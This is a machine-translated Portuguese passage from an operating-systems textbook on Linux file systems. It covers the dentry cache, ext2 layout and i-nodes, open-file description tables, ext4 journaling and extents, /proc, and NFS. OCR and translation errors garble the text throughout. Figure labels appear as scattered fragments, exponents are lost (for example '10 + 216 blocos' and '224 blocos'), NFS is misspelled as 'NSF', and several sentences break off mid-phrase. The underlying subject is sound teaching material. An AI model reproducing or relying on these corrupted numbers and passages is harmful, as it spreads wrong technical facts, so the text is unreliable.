são armazenados em cache no que é chamado de cache dentry. Por exemplo, o cache dentry 
conteria entradas para /, /usr, /usr/ ast e similares. Se vários processos acessarem 
mesmo arquivo através do mesmo link físico (ou seja, mesmo caminho), seu objeto de arquivo será 
apontam para a mesma entrada neste cache. 

Finalmente, a estrutura de dados do arquivo é uma representação na memória de um arquivo aberto, 
e é criado em resposta à chamada de sistema aberto . Suporta operações como 
read, wr ite, sendfile, lock e outras chamadas de sistema descritas na seção anterior. 

Os sistemas de arquivos reais implementados no VFS não precisam usar o 
exatamente as mesmas abstrações e operações internamente. Devem, no entanto, implementar 
operações do sistema de arquivos semanticamente equivalentes àquelas especificadas com o VFS 
objetos. Os elementos das estruturas de dados operacionais para cada um dos quatro VFS 
objetos são ponteiros para funções no sistema de arquivos subjacente. 
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O sistema de arquivos Linux Ext2 


A seguir descrevemos um dos sistemas de arquivos em disco anteriores usados no Linux: ext2. 

A primeira versão do Linux usava o sistema de arquivos MINIX 1 e era limitada por nomes de arquivos 
curtos (escolhidos para compatibilidade com UNIX V7) e tamanhos de arquivo de 64 MB. O sistema 

de arquivos MINIX 1 foi eventualmente substituído pelo primeiro sistema de arquivos estendido, ext, 

que permitia nomes de arquivos mais longos e tamanhos de arquivos maiores. Devido às suas 

ineficiências de desempenho, o ext foi substituído pelo seu sucessor, o ext2, que alcançou uso generalizado. 

Uma partição de disco Linux ext2 contém um sistema de arquivos com o layout mostrado na 
Figura 10.31. O bloco 0 não é usado pelo Linux e contém código para inicializar o computador. 

Após o bloco 0, a partição do disco é dividida em grupos de blocos, independentemente de onde se 
situam os limites do cilindro do disco. Cada grupo está organizado da seguinte forma. 

O primeiro bloco é o superbloco. Ele contém informações sobre o layout do sistema de arquivos, 
incluindo o número de i-nodes, o número de blocos de disco e o início da lista de blocos de disco livres 
(normalmente algumas centenas de entradas). Em seguida vem o descritor de grupo, que contém 
informações sobre a localização dos bitmaps, o número de blocos e i-nodes livres no grupo e o número 
de diretórios no grupo. Esta informação é importante porque o ext2 tenta distribuir diretórios 
uniformemente pelo disco. 


Grupo df blocos de inicialização 0 | Grupo de blocos 1 Grupo de blocos 2 Grupo de blocos 3 Grugo de blocos 4 .…. 


Blocos 
de dados 


de bitmap] do nó | 


Figura 10-31. Layout de disco do sistema de arquivos ext2 do Linux. 


Dois bitmaps são usados para rastrear os blocos livres e os i-nodes livres, respectivamente, 
uma escolha herdada do sistema de arquivos MINIX 1 (e em contraste com a maioria dos sistemas de 
arquivos UNIX, que usam uma lista livre). Cada mapa tem um bloco de comprimento. Com um bloco 
de 1 KB, esse design limita um grupo de blocos a 8.192 blocos e 8.192 i-nodes. A primeira é uma 
restrição real, mas, na prática, a segunda não o é. Com blocos de 4 KB, os números são quatro vezes 
maiores. 

Seguindo o superbloco estão os próprios i-nodes. Eles são numerados de 1 até um máximo. 
Cada i-node tem 128 bytes e descreve exatamente um arquivo. Um i-node contém informações 
contábeis (incluindo todas as informações retornadas por stat, que simplesmente as obtém do i-node), 
bem como informações suficientes para localizar todos os blocos de disco que contêm os dados do 
arquivo. 

Seguindo os i-nodes estão os blocos de dados. Todos os arquivos e diretórios são armazenados 
aqui. Se um arquivo ou diretório consistir em mais de um bloco, os blocos não precisam 
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ser contíguo no disco. Na verdade, os blocos de um arquivo grande provavelmente estarão 
espalhados por todo o disco. 

Os nós | correspondentes aos diretórios estão dispersos pelos grupos de blocos do disco. Ext2 
faz um esforço para colocar arquivos comuns no mesmo grupo de blocos que o diretório pai, e 
arquivos de dados no mesmo bloco que o arquivo original i-node, desde que haja espaço suficiente. 
Esta ideia foi emprestada do Berkeley Fast File System (McKusick et al., 1984). Os bitmaps são 
usados para tomar decisões rápidas sobre onde alocar novos dados do sistema de arquivos. 
Quando novos blocos de arquivo são alocados, o ext2 também pré-aloca um número (oito) de blocos 
adicionais para aquele arquivo, de modo a minimizar a fragmentação do arquivo devido a futuras 
operações de gravação. Este esquema equilibra a carga do sistema de arquivos em todo o disco. 
Ele também tem um bom desempenho devido às suas tendências de colocação e fragmentação 
reduzida. 

Para acessar um arquivo, ele deve primeiro usar uma das chamadas do sistema Linux, como 
open, que requer o nome do caminho do arquivo. O nome do caminho é analisado para extrair 
diretórios individuais. Se um caminho relativo for especificado, a pesquisa inicia no diretório atual 
do processo, caso contrário, inicia no diretório raiz. Em ambos os casos, o i-node do primeiro 
diretório pode ser facilmente localizado: há um ponteiro para ele no descritor do processo ou, no 
caso de um diretório raiz, ele normalmente é armazenado em um bloco pré-determinado no disco. 


O arquivo de diretório permite nomes de arquivos com até 255 caracteres e é ilustrado na 
Figura 10.32. Cada diretório consiste em algum número inteiro de blocos de disco para que os 
diretórios possam ser gravados atomicamente no disco. Dentro de um diretório, as entradas de 
arquivos e diretórios estão em ordem não classificada, com cada entrada seguindo diretamente a 
anterior. As entradas podem não abranger blocos de disco; portanto, geralmente há algum número 
de bytes não utilizados no final de cada bloco de disco. 

Cada entrada de diretório na Figura 10.32 consiste em quatro campos de comprimento fixo e 
um campo de comprimento variável. O primeiro campo é o número do i-node, 19 para o arquivo 
colossal, 42 para o arquivo volumoso e 88 para o diretório bigdir. Em seguida vem um campo rec 
len, informando o tamanho da entrada (em bytes), possivelmente incluindo algum preenchimento 
após o nome. Este campo é necessário para encontrar a próxima entrada caso o nome do arquivo 
seja preenchido com um comprimento desconhecido. Esse é o significado da seta na Figura 10.32. 
Depois vem o campo de tipo: arquivo, diretório e assim por diante. O último campo fixo é o 
comprimento do nome real do arquivo em bytes, 8, 10 e 6 neste exemplo. 

Finalmente, vem o próprio nome do arquivo, terminado por um byte 0 e preenchido até um limite de 
32 bits. Preenchimento adicional pode seguir isso. 

Na Figura 10.32(b) podemos ver o mesmo diretório após a entrada para volumoso ter sido 
removida do diretório. Tudo o que a remoção fez foi aumentar o tamanho do campo de entrada total 
para colossal, transformando o antigo campo de volumoso em preenchimento para a primeira 
entrada. Este preenchimento pode ser usado para uma entrada posterior, de 
curso. 

Como os diretórios são pesquisados linearmente, pode levar muito tempo para encontrar uma 
entrada no final de um diretório grande. Portanto, o sistema mantém um cache dos diretórios 
acessados recentemente. Este cache é pesquisado usando o nome do arquivo e, se for encontrado 
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Número do nó | 


Tamanho da entrada 
Tipo 


Comprimento do nome do arquivo 


Figura 10-32. (a) Um diretório Linux com três arquivos. (b) O mesmo diretório 
depois que o arquivo volumoso foi removido. 


ocorre, a pesquisa linear dispendiosa é evitada. Um objeto dentry é inserido no dentry 
cache para cada um dos componentes do caminho e, através de seu i-node, o diretório é 
pesquisou a entrada do elemento de caminho subsequente, até que o i-node do arquivo real seja 
alcançado. 

Por exemplo, para procurar um arquivo especificado com um nome de caminho absoluto, como 
/usr/ast' file, as etapas a seguir são necessárias. Primeiro, o sistema localiza a raiz 
diretório, que geralmente usa o i-node 2, especialmente quando o i-node 1 é reservado para 
manipulação de blocos defeituosos. Ele coloca uma entrada no cache dentry para pesquisas futuras do 
diretório raiz. Em seguida, ele procura a string "usr" no diretório raiz, para obter o número do nó i do 
diretório /usr , que também é inserido no cache dentry. Este nó i é então obtido e os blocos de disco 
são extraídos dele, então o diretório /usr 
pode ser lido e pesquisado pela string "ast". Uma vez encontrada esta entrada, o i-node 
o número do diretório /usr/ast pode ser obtido dele. Armado com o número do i-node do diretório /usr/ 
ast , esse i-node pode ser lido e os blocos do diretório podem ser localizados. Finalmente, o "arquivo" 
é procurado e seu número de i-node é encontrado. Assim, o uso de um nome de caminho relativo não 
é apenas mais conveniente para o usuário, mas também economiza uma quantidade substancial de 
trabalho para o sistema. 

Se o arquivo estiver presente, o sistema extrai o número do i-node e o utiliza como um 
índice na tabela i-node (no disco) para localizar o i-node correspondente e trazê-lo 
na memória. O i-node é colocado na tabela i-node, uma estrutura de dados do kernel que 
contém todos os i-nodes para arquivos e diretórios atualmente abertos. O formato das entradas 
do nó i, no mínimo, deve conter todos os campos retornados pelo stat 
chamada de sistema para fazer stat funcionar (veja a Figura 10-28). Na Fig. 10-33 mostramos alguns 
dos campos incluídos na estrutura i-node suportada pelo sistema de arquivos Linux 
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camada. A estrutura real do i-=node contém mais alguns campos, já que o mesmo 
A estrutura também é usada para representar diretórios, dispositivos e outros arquivos especiais. O 
A estrutura do i-node também contém campos reservados para uso futuro. A história mostrou que 


bits não utilizados não permanecem assim por muito tempo. 


Descrição dos bytes do campo 

Modo 2 Tipo de arquivo, bits de proteção, setuid, bits setgid 

Links 2 Número de entradas de diretório apontando para este i-node 

Uid 2 UID do proprietário do arquivo 

Gid 2 GID|do proprietário do arquivo 

Tamanho 4 Tamanho do arquivo em bytes 

Endereço 60 Endereço dos primeiros 12 blocos de disco, depois dos 3 blocos indiretos 
Geral 1 Número de geração (incrementado toda vez que o i-node é reutilizado) 
Um tempo 4 Hora em que o arquivo foi acessado pela última vez 

Mtime 4 Hora em que o arquivo foi modificado pela última vez 

Ctime 4 Hora em que o i-node foi alterado pela última vez (exceto as outras vezes) 


Figura 10-33. Alguns campos na estrutura i-node no Linux. 


Vamos agora ver como o sistema lê um arquivo. Lembre-se que uma chamada típica para o 


O procedimento da biblioteca para invocar a cnamada do sistema read é semelhante a este: 


n = leitura(fd, buffer, nbytes); 
Quando o kernel obtém o controle, tudo o que ele precisa para começar são esses três parâmetros e 
as informações em suas tabelas internas relativas ao usuário. Um dos itens do 
tabelas internas é a matriz do descritor de arquivo. Ele é indexado por um descritor de arquivo e contém uma 
entrada para cada arquivo aberto (até o número máximo, geralmente 32). 
A ideia é começar com este descritor de arquivo e terminar com o correspondente 
eu-nó. Vamos considerar um projeto possível: basta colocar um ponteiro para o i-node no 
tabela de descritores de arquivo. Embora simples, infelizmente este método não funciona. 
O problema é o seguinte. Associado a cada descritor de arquivo está uma posição de arquivo 
que informa em qual byte a próxima leitura (ou gravação) começará. Para onde deveria ir? Um 
possibilidade é colocá-lo na tabela i-node. No entanto, esta abordagem falha se dois ou 
mais processos não relacionados abrem o mesmo arquivo ao mesmo tempo porque 
cada um tem sua própria posição de arquivo. 
Uma segunda possibilidade é colocar a posição do arquivo na tabela de descritores de arquivo. Em 
dessa forma, cada processo que abre um arquivo obtém sua própria posição privada no arquivo. Infelizmente, este 
esquema também falha, mas o raciocínio é mais subtil e tem a ver com a 
natureza do compartilhamento de arquivos no Linux. Considere um shell script, s, que consiste em dois comandos, 


p1 e p2, a serem executados em ordem. Se o shell script for chamado pelo comando 
S >X 


espera-se que p1 escreva sua saída em x e então p2 escreva sua saída em x 


também, começando no local onde p1 parou. 
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Quando o shell se bifurca em p1, x está inicialmente vazio, então p1 apenas começa a escrever na 
posição O do arquivo. No entanto, quando p1 termina, algum mecanismo é necessário para garantir que a 
posição inicial do arquivo que p2 vê não seja O (o que seria (ou seja, se a posição do arquivo fosse mantida 
na tabela de descritores de arquivo), mas o valor p1 terminasse com. 

A maneira como isso é conseguido é mostrada na Figura 10.34. O truque é introduzir uma nova tabela, 
a tabela de descrição de arquivo aberto, entre a tabela de descritores de arquivo e a tabela de i-node, e 
colocar a posição do arquivo (e o bit de leitura/gravação) lá. Nesta figura, o pai é o shell e o filho é primeiro 
p1 e depois p2. Quando o shell se bifurca em p1, sua estrutura de usuário (incluindo a tabela de descritores 
de arquivo) é uma cópia exata da do shell, portanto, ambos apontam para a mesma entrada da tabela de 
descrição de arquivo aberto. Quando p1 termina, o descritor de arquivo do shell ainda aponta para a 
descrição do arquivo aberto que contém a posição do arquivo de p1. Quando o shell agora desvia p2, o novo 
filho herda automaticamente a posição do arquivo, sem que ele ou o shell precisem saber qual é essa 


posição. 
Abrir descrição 
do arquivo eu-nó 
E 
Pais : . 
Posição do arquivo Modo 
arquivo 
tabela de 
descritores 
t 
Descritor 
a ES 
Tamanho do arquivo 
arquivo infantil 


mesa 


” r Endereços dos 
Não relacionado f Ponteiros para 
primeiros . 
tabelade ` blocos de disco 


12 blocos de disco 


descritor de 


RW 
Ponteiro para i-node 
Posição do arquivo 
RAW i 
Gid 
Ponteiro para i-node 
=== 
[o 
ba 
b 
TR 
TE 
LO 
iso 1 


arquivo de proge: 


Dupla indireta 


Tripla indireta 


Pd 
Bloqueio 
indireto Pd 
triplo Bloqueio indireto Pu 
duplo 


Solteiro 
bloco 


indireto 


Figura 10-34. A relação entre a tabela descritora de arquivo, a tabela de 
descrição de arquivo aberto e a tabela i-node. 


No entanto, se um processo não relacionado abrir o arquivo, ele obterá sua própria entrada de 
descrição de arquivo aberto, juntamente com sua própria posição de arquivo, que é exatamente o que é necessário. 
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Assim, o objetivo da tabela de descrição de arquivo aberto é permitir que um pai e um filho compartilhem 
uma posição de arquivo, mas fornecer processos não relacionados com seus próprios valores. 
sim. 

Voltando ao problema de fazer a leitura, mostramos agora como a posição do arquivo e o i-node 
estão localizados. O i-node contém os endereços de disco dos primeiros 12 blocos do arquivo. Se a 
posição do arquivo cair nos primeiros 12 blocos, o bloco é lido e os dados são copiados para o usuário. 
Para arquivos com mais de 12 blocos, um campo no i-node contém o endereço de disco de um único 
bloco indireto, como mostrado na Figura 10.34. Este bloco contém os endereços de disco de mais 
blocos de disco. Por exemplo, se um bloco tiver 1 KB e um endereço de disco tiver 4 bytes, o único 
bloco indireto poderá conter 256 endereços de disco. Assim, este esquema funciona para arquivos de até 
268 KB. 

Além disso, é utilizado um bloqueio duplo indireto . Ele contém os endereços de 256 blocos 
indiretos únicos, cada um contendo os endereços de 256 blocos de dados. Este mecanismo é suficiente 
para lidar com arquivos de até 10 + 216 blocos (67.119.104 bytes). Se mesmo isso não for suficiente, o i- 
node tem espaço para um bloco indireto triplo. Seus indicadores apontam para muitos bloqueios 
indiretos duplos. Este esquema de endereçamento pode lidar com tamanhos de arquivo de 224 blocos 
de 1 KB (16 GB). Para tamanhos de bloco de 8 KB, o esquema de endereçamento pode suportar 
tamanhos de arquivo de até 64 TB. 


O sistema de arquivos Linux Ext4 


Para evitar toda perda de dados após travamentos do sistema e falhas de energia, o sistema de 
arquivos ext2 teria que gravar cada bloco de dados no disco assim que fosse criado. A latência incorrida 
durante a operação necessária de busca do cabeçote do disco seria tão alta que o desempenho seria 
intolerável. Portanto, as gravações são atrasadas e as alterações podem não ser confirmadas no disco 
por até 30 segundos, o que é um intervalo de tempo muito longo no contexto do hardware de computador 
moderno. 

Para melhorar a robustez do sistema de arquivos, o Linux depende de sistemas de arquivos com 
registro em diário. Ext3, um sucessor do sistema de arquivos ext2, é um exemplo de sistema de 
arquivos com diário. O Ext4, uma continuação do ext3, também é um sistema de arquivos com registro 
em diário, mas diferentemente do ext3, ele altera o esquema de endereçamento de bloco usado por 
seus predecessores, suportando assim arquivos maiores e tamanhos maiores de sistemas de arquivos 
em geral. Hoje, é considerado o mais popular entre os sistemas de arquivos Linux. Descreveremos 
algumas de suas características a seguir. 

A ideia básica por trás de um sistema de arquivos com diário é manter um diário, que descreve 
todas as operações do sistema de arquivos em ordem sequencial. Ao gravar sequencialmente as 
alterações nos dados ou metadados do sistema de arquivos (i-nodes, superbloco, etc.), as operações 
não sofrem com as sobrecargas do movimento da cabeça do disco durante acessos aleatórios ao disco. 
Eventualmente, as alterações serão gravadas e confirmadas no local apropriado do disco e as entradas 
de diário correspondentes poderão ser descartadas. Se ocorrer uma falha no sistema ou falha de energia 
antes das alterações serem confirmadas, durante a reinicialização o sistema detectará que o sistema de 
arquivos não foi desmontado corretamente, percorrerá o diário e aplicará as alterações ao sistema de 
arquivos descritas no log do diário. 
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Ext4 foi projetado para ser altamente compatível com ext2 e ext3, embora suas estruturas de dados 
principais e layout de disco sejam modificados. Independentemente disso, um sistema de arquivos que 
foi desmontado como um sistema ext2 pode ser posteriormente montado como um sistema ext4 e oferecer 
a capacidade de registro em diário. 

O diário é um arquivo gerenciado como um buffer circular. O diário pode ser armazenado no mesmo 
dispositivo ou em um dispositivo separado do sistema de arquivos principal. Como as operações de 
diário não são registradas em diário, elas não são tratadas pelo mesmo sistema de arquivos ext4. Em vez 
disso, um JBD (Journaling Block Device) separado é usado para executar as operações de leitura/ 
gravação do diário. 

JBD suporta três estruturas de dados principais: registro de log, identificador de operação atômica e 
transação. Um registro de log descreve uma operação de sistema de arquivos de baixo nível, normalmente 
resultando em alterações dentro de um bloco. Como uma chamada de sistema como write inclui alterações 
em vários locais — i-nodes, blocos de arquivos existentes, novos blocos de arquivos, lista de blocos livres, 
etc. — os registros de log relacionados são agrupados em operações atômicas. Ext4 notifica o JBD 
sobre o início e o fim do processamento da chamada do sistema, para que o JBD possa garantir que 
todos os registros de log em uma operação atômica sejam aplicados ou nenhum deles. Finalmente, 
principalmente por razões de eficiência, o JBD trata coleções de operações atômicas como transações. 

Os registros de log são armazenados consecutivamente em uma transação. O JBD permitirá que partes 
do arquivo de diário sejam descartadas somente depois que todos os registros de log pertencentes a 
uma transação forem confirmados com segurança no disco. 

Como escrever uma entrada de log para cada alteração no disco pode ser caro, o ext4 pode ser 
configurado para manter um diário de todas as alterações no disco ou apenas das alterações relacionadas 
aos metadados do sistema de arquivos (os i-nodes, superblocos, etc.). O registro em diário apenas de 
metadados proporciona menos sobrecarga do sistema e resulta em melhor desempenho, mas não 
oferece nenhuma garantia contra corrupção de dados de arquivo. Vários outros sistemas de arquivos 
com registro em diário mantêm registros apenas de operações de metadados (por exemplo, XFS da SGI). 
Além disso, a confiabilidade do diário pode ser melhorada através da soma de verificação. 

A principal modificação no ext4 em comparação com seus antecessores é o uso de extensões. 

As extensões representam blocos contíguos de armazenamento, por exemplo, 128 MB de blocos 
contíguos de 4 KB versus blocos de armazenamento individuais, conforme referenciado em ext2. Ao 
contrário de seus antecessores, o ext4 não requer operações de metadados para cada bloco de 
armazenamento. Este esquema também reduz a fragmentação de arquivos grandes. Como resultado, o 
ext4 pode fornecer operações mais rápidas do sistema de arquivos e suportar arquivos e tamanhos de 
sistemas de arquivos maiores. Por exemplo, para um tamanho de bloco de 1 KB, ext4 aumenta o tamanho 
máximo do arquivo de 16 GB para 16 TB e o tamanho máximo do sistema de arquivos para 1 EB (Exabyte). 


O sistema de arquivos /proc 


Outro sistema de arquivos Linux é o sistema de arquivos /proc (processo), uma ideia originalmente 
desenvolvida na 8º edição do UNIX do Bell Labs e posteriormente copiada no 4.4BSD e no System V. No 
entanto, o Linux estende a ideia de diversas maneiras. O conceito básico é que para cada processo do 
sistema, um diretório é criado em /proc. O nome do diretório é o PID do processo expresso como um 
número decimal. Por exemplo, 
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/proc/619 é o diretório correspondente ao processo com PID 619. Neste diretório estão arquivos 
que parecem conter informações sobre o processo, como linha de comando, strings de ambiente e 
máscaras de sinal. Na verdade, esses arquivos não existem no disco. Quando são lidos, o sistema 
recupera as informações do processo real conforme necessário e as retorna em um formato padrão. 


Muitas das extensões do Linux estão relacionadas a outros arquivos e diretórios localizados 
em /proc. Eles contêm uma ampla variedade de informações sobre CPU, partições de disco, 
dispositivos, vetores de interrupção, contadores de kernel, sistemas de arquivos, módulos carregados 
e muito mais. Programas de usuários sem privilégios podem ler muitas dessas informações para 
aprender sobre o comportamento do sistema de maneira segura. Alguns desses arquivos podem ser 
gravados para alterar os parâmetros do sistema. 


10.6.4 NFS: o sistema de arquivos de rede 


A rede desempenhou um papel importante no Linux e no UNIX em geral, desde o início (a 
primeira rede UNIX foi construída para mover novos kernels do PDP-11/70 para o Interdata 8/32 
durante a portabilidade para este último). Nesta seção, examinaremos o NFS (Network File System) 
da Sun Microsystem, que é usado em todos os sistemas Linux modernos para unir os sistemas de 
arquivos em computadores separados em um todo lógico. A versão 3 do NSF foi introduzida em 
1994. Atualmente, a versão mais recente é o NSFv4. Foi originalmente introduzido em 2000 e 
oferece vários aprimoramentos em relação à arquitetura NFS anterior. Três aspectos do NFS são 
interessantes: a arquitetura, o protocolo e a implementação. Iremos agora examiná-los por vez, 
primeiro no contexto da versão 3 do NFS mais simples, depois passaremos para as melhorias 
incluídas na v4. 


Arquitetura NFS 


A ideia básica por trás do NFS é permitir que uma coleção arbitrária de clientes e servidores 
compartilhem um sistema de arquivos comum. Em muitos casos, todos os clientes e servidores estão 
na mesma LAN, mas isto não é obrigatório. Também é possível executar o NFS em uma rede de 
longa distância se o servidor estiver longe do cliente. Para simplificar, falaremos de clientes e 
servidores como se estivessem em máquinas distintas, mas na verdade, o NFS permite que cada 
máquina seja cliente e servidor ao mesmo tempo. 

Cada servidor NFS exporta um ou mais de seus diretórios para acesso por clientes remotos. 
Quando um diretório é disponibilizado, todos os seus subdiretórios também o são, portanto, na 
verdade, árvores de diretórios inteiras são normalmente exportadas como uma unidade. A lista de 
diretórios que um servidor exporta é mantida em um arquivo, geralmente /etc/exports, para que 
esses diretórios possam ser exportados automaticamente sempre que o servidor for inicializado. Os 
clientes acessam os diretórios exportados montando-os. Quando um cliente monta um diretório 
(remoto), ele se torna parte de sua hierarquia de diretórios, como mostrado na Figura 10.35. 

Neste exemplo, o cliente 1 montou o diretório bin do servidor 1 em seu próprio diretório bin, 
então agora ele pode se referir ao shell como /bin/sh e obter o shell no servidor 
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Cliente 1 Cliente 2 


lusr/ast 
Montar 


/usr/ast/trabalho 


gato cp é mv sh 


Servidor1 Servidor 2 


Figura 10-35. Exemplos de sistemas de arquivos montados remotamente. Os diretórios são mostrados 


como quadrados e arquivos como círculos. 


1. As estações de trabalho sem disco geralmente têm apenas um sistema de arquivos esqueleto (na RAM) e obtêm 
todos os seus arquivos de servidores remotos como este. Da mesma forma, o cliente 1 montou o servidor 

2 projects em seu diretório /usr/ast/work para que agora ele possa acessar o arquivo a como 

/usr/ast/work/ proj1/a. Finalmente, o cliente 2 também montou o diretório de projetos e 

também pode acessar o arquivo a, apenas como /mnt/proj1/a. Como visto aqui, o mesmo arquivo pode ter 

nomes diferentes em clientes diferentes devido ao fato de estar montado em um local diferente no 

as respectivas árvores. O ponto de montagem é inteiramente local para os clientes; o servidor faz 


não sei onde ele está montado em nenhum de seus clientes. 


Protocolos NFS 


Como um dos objetivos do NFS é suportar um sistema heterogêneo, com clientes e servidores possivelmente 
executando diferentes sistemas operacionais em diferentes hardwares, é essencial que a interface entre os 
clientes e servidores esteja bem estabelecida. 
definiram. Só então alguém será capaz de escrever uma nova implementação de cliente e esperar 
para que funcione corretamente com os servidores existentes e vice-versa. 

O NFS atinge esse objetivo definindo dois protocolos cliente-servidor. Um protocolo é um conjunto de 
solicitações enviadas por clientes aos servidores, juntamente com as solicitações correspondentes. 


respostas enviadas pelos servidores de volta aos clientes. 


Machine Translated by Google 


SEC. 10.6 O SISTEMA DE ARQUIVOS LINUX 785 


O primeiro protocolo NFS trata da montagem. Um cliente pode enviar um nome de caminho para um 
servidor e solicitar permissão para montar esse diretório em algum lugar de sua hierarquia de diretórios. O 
local onde será montado não está contido na mensagem, pois o servidor não se importa onde será 
montado. Se o nome do caminho for válido e o diretório especificado tiver sido exportado, o servidor 
retornará um identificador de arquivo ao cliente. 

O identificador de arquivo contém campos que identificam exclusivamente o tipo de sistema de arquivos, o 
disco, o número do nó i do diretório e informações de segurança. As chamadas subsequentes para ler e 
gravar arquivos no diretório montado ou em qualquer um de seus subdiretórios usam o identificador de 
arquivo. É um tanto análogo aos descritores de arquivo retornados pelas chamadas create e open em 
arquivos locais. 

Quando o Linux inicializa, ele executa o script shell /etc/rc antes de se tornar multiusuário. Comandos 
para montar sistemas de arquivos remotos podem ser colocados neste script, montando automaticamente 
os sistemas de arquivos remotos necessários antes de permitir qualquer login. Alternativamente, a maioria 
das versões do Linux também suporta montagem automática. Este recurso permite que um conjunto de 
diretórios remotos seja associado a um diretório local. Nenhum desses diretórios remotos é montado (nem 
seus servidores são contatados) quando o cliente é inicializado. Em vez disso, na primeira vez que um 
arquivo remoto é aberto, o sistema operacional envia uma mensagem para cada um dos servidores. O 
primeiro a responder vence e seu diretório é montado. 


A montagem automática tem duas vantagens principais sobre a montagem estática através do arquivo / 
etc/rc . Primeiro, se um dos servidores NFS nomeados em /etc/rc estiver inativo, é impossível ativar o 
cliente, pelo menos não sem alguma dificuldade, atraso e algumas mensagens de erro. Se o usuário nem 
precisar daquele servidor no momento, todo esse trabalho será desperdiçado. Em segundo lugar, ao 
permitir que o cliente experimente um conjunto de servidores em paralelo, um certo grau de tolerância a 
falhas pode ser alcançado (porque apenas um deles precisa estar ativo) e o desempenho pode ser 
melhorado (escolhendo o primeiro a responder). -presumivelmente o menos carregado). 


Por outro lado, assume-se tacitamente que todos os sistemas de arquivos especificados como 
alternativas para a montagem automática são idênticos. Como o NFS não fornece suporte para replicação 
de arquivos ou diretórios, cabe ao usuário providenciar para que todos os sistemas de arquivos sejam 
iguais. Consequentemente, a montagem automática é mais frequentemente usada para sistemas de 
arquivos somente leitura contendo binários de sistema e outros arquivos que raramente são alterados. 

O segundo protocolo NFS é para acesso a diretórios e arquivos. Os clientes podem enviar mensagens 
aos servidores para manipular diretórios e ler e gravar arquivos. Eles também podem acessar atributos de 
arquivo, como modo de arquivo, tamanho e hora da última modificação. 

A maioria das chamadas de sistema Linux são suportadas por NFS, com as talvez surpreendentes exceções 


de open e close. 
A omissão de abrir e fechar não é um acidente. É totalmente intencional. Não é necessário abrir um 


arquivo antes de lê-lo, nem fechá-lo quando terminar. Em vez disso, para ler um arquivo, um cliente envia 
ao servidor uma mensagem de pesquisa contendo o nome do arquivo, com uma solicitação para procurá-lo 
e retornar um identificador de arquivo, que é uma estrutura que identifica o arquivo (ou seja, contém um 
identificador de sistema de arquivos). e número do i-node, entre outros dados). Ao contrário de uma 
chamada aberta , esta operação de pesquisa não copia nenhuma informação 
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em tabelas internas do sistema. A chamada read contém o identificador do arquivo a ser lido, o 
deslocamento no arquivo para iniciar a leitura e o número de bytes desejados. Cada uma dessas 
mensagens é independente. A vantagem deste esquema é que o servidor não precisa se lembrar 
de nada sobre conexões abertas entre as chamadas para ele. Assim, se um servidor travar e 
depois se recuperar, nenhuma informação sobre os arquivos abertos será perdida, porque não há 
nenhuma. Um servidor como esse que não mantém informações de estado sobre arquivos abertos 
é considerado sem estado. 

Infelizmente, o método NFS dificulta a obtenção da semântica exata dos arquivos do Linux. 
Por exemplo, no Linux um arquivo pode ser aberto e bloqueado para que outros processos não 
possam acessá-lo. Quando o arquivo é fechado, os bloqueios são liberados. Em um servidor sem 
estado como o NFS, os bloqueios não podem ser associados a arquivos abertos, porque o servidor 
não sabe quais arquivos estão abertos. O NFS, portanto, precisa de um mecanismo adicional 
separado para lidar com o bloqueio. 

O NFS usa o mecanismo de proteção padrão do UNIX, com os bits rwx para o proprietário, 
grupo e outros (mencionados no Capítulo 1 e discutidos em detalhes abaixo). 
Originalmente, cada mensagem de solicitação continha simplesmente os IDs de usuário e grupo 
do chamador, que o servidor NFS usava para validar o acesso. Na verdade, confiava que os 
clientes não trapaceariam. A experiência de vários anos demonstrou abundantemente que tal 
suposição era — como diremos? — bastante ingénua. Atualmente, a criptografia de chave pública 
pode ser usada para estabelecer uma chave segura para validar o cliente e o servidor em cada 
solicitação e resposta. Quando esta opção é usada, um cliente mal-intencionado não pode se 
passar por outro cliente porque não conhece a chave secreta desse cliente. 


Implementação NFS 


Embora a implementação do código do cliente e do servidor seja independente dos protocolos 
NFS, a maioria dos sistemas Linux utiliza uma implementação de três camadas semelhante à da 
Figura 10.36. A camada superior é a camada de chamada do sistema. Isso lida com chamadas 
como abrir, ler e fechar. Depois de analisar a chamada e verificar os parâmetros, ele invoca a 
segunda camada, a camada Virtual File System (VFS). 

A tarefa da camada VFS é manter uma tabela com uma entrada para cada arquivo aberto. A 
camada VFS também possui uma entrada, um i-node virtual, ou v-node, para cada arquivo 
aberto. O termo v-node vem do BSD. No Linux, os v-nodes são (confusamente) chamados de i- 
nodes genéricos, em contraste com os i-nodes específicos do sistema de arquivos armazenados 
no disco. Os nós V são usados para saber se o arquivo é local ou remoto. Para arquivos remotos, 
são fornecidas informações suficientes para poder acessá-los. Para arquivos locais, o sistema de 
arquivos e o i-node são registrados porque os sistemas Linux modernos podem suportar vários 
sistemas de arquivos (por exemplo, ext4fs, /proc, XFS, etc.). Embora o VFS tenha sido inventado 
para oferecer suporte ao NFS, a maioria dos sistemas Linux modernos agora o suporta como parte 
integrante do sistema operacional, mesmo que o NFS não seja usado. 

Para ver como os v-nodes são usados, vamos rastrear uma sequência de chamadas de 
sistema mount, open e read . Para montar um sistema de arquivos remoto, o administrador do 
sistema (ou /etc/rc) chama o programa de montagem especificando o diretório remoto, o diretório local em 
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Figura 10-36. A estrutura da camada NFS. 


qual será montado e outras informações. O programa de montagem analisa o nome do 
diretório remoto a ser montado e descobre o nome do servidor NFS no qual o diretório remoto 
está localizado. Em seguida, ele entra em contato com essa máquina, solicitando um 
identificador de arquivo para o diretório remoto. Se o diretório existir e estiver disponível para 
montagem remota, o servidor retornará um identificador de arquivo para o diretório. Finalmente, 
ele faz uma chamada de sistema mount , passando o identificador para o kernel. 

O kernel então constrói um v-node para o diretório remoto e pede ao código do cliente 
NFS na Figura 10.36 para criar um r-node (i-node remoto) em suas tabelas internas para 
armazenar o identificador do arquivo. O nó v aponta para o nó r. Cada nó v na camada VFS 
conterá, em última análise, um ponteiro para um nó r no código do cliente NFS ou um ponteiro 
para um nó i em um dos sistemas de arquivos locais (mostrados como linhas tracejadas na 
Fig. 10- 36). Assim, a partir do v-node é possível ver se um arquivo ou diretório é local ou 
remoto. Se for local, o sistema de arquivos e o i-node corretos poderão ser localizados. Se for 
remoto, o host remoto e o identificador de arquivo poderão ser localizados. 

Quando um arquivo remoto é aberto no cliente, em algum momento durante a análise do 
nome do caminho, o kernel acessa o diretório no qual o sistema de arquivos remoto está 
montado. Ele vê que este diretório é remoto e no nó v do diretório encontra o ponteiro para o 
nó r. Em seguida, ele solicita ao código do cliente NFS para abrir o arquivo. O código do 
cliente NFS procura a parte restante do nome do caminho no servidor remoto associado ao 
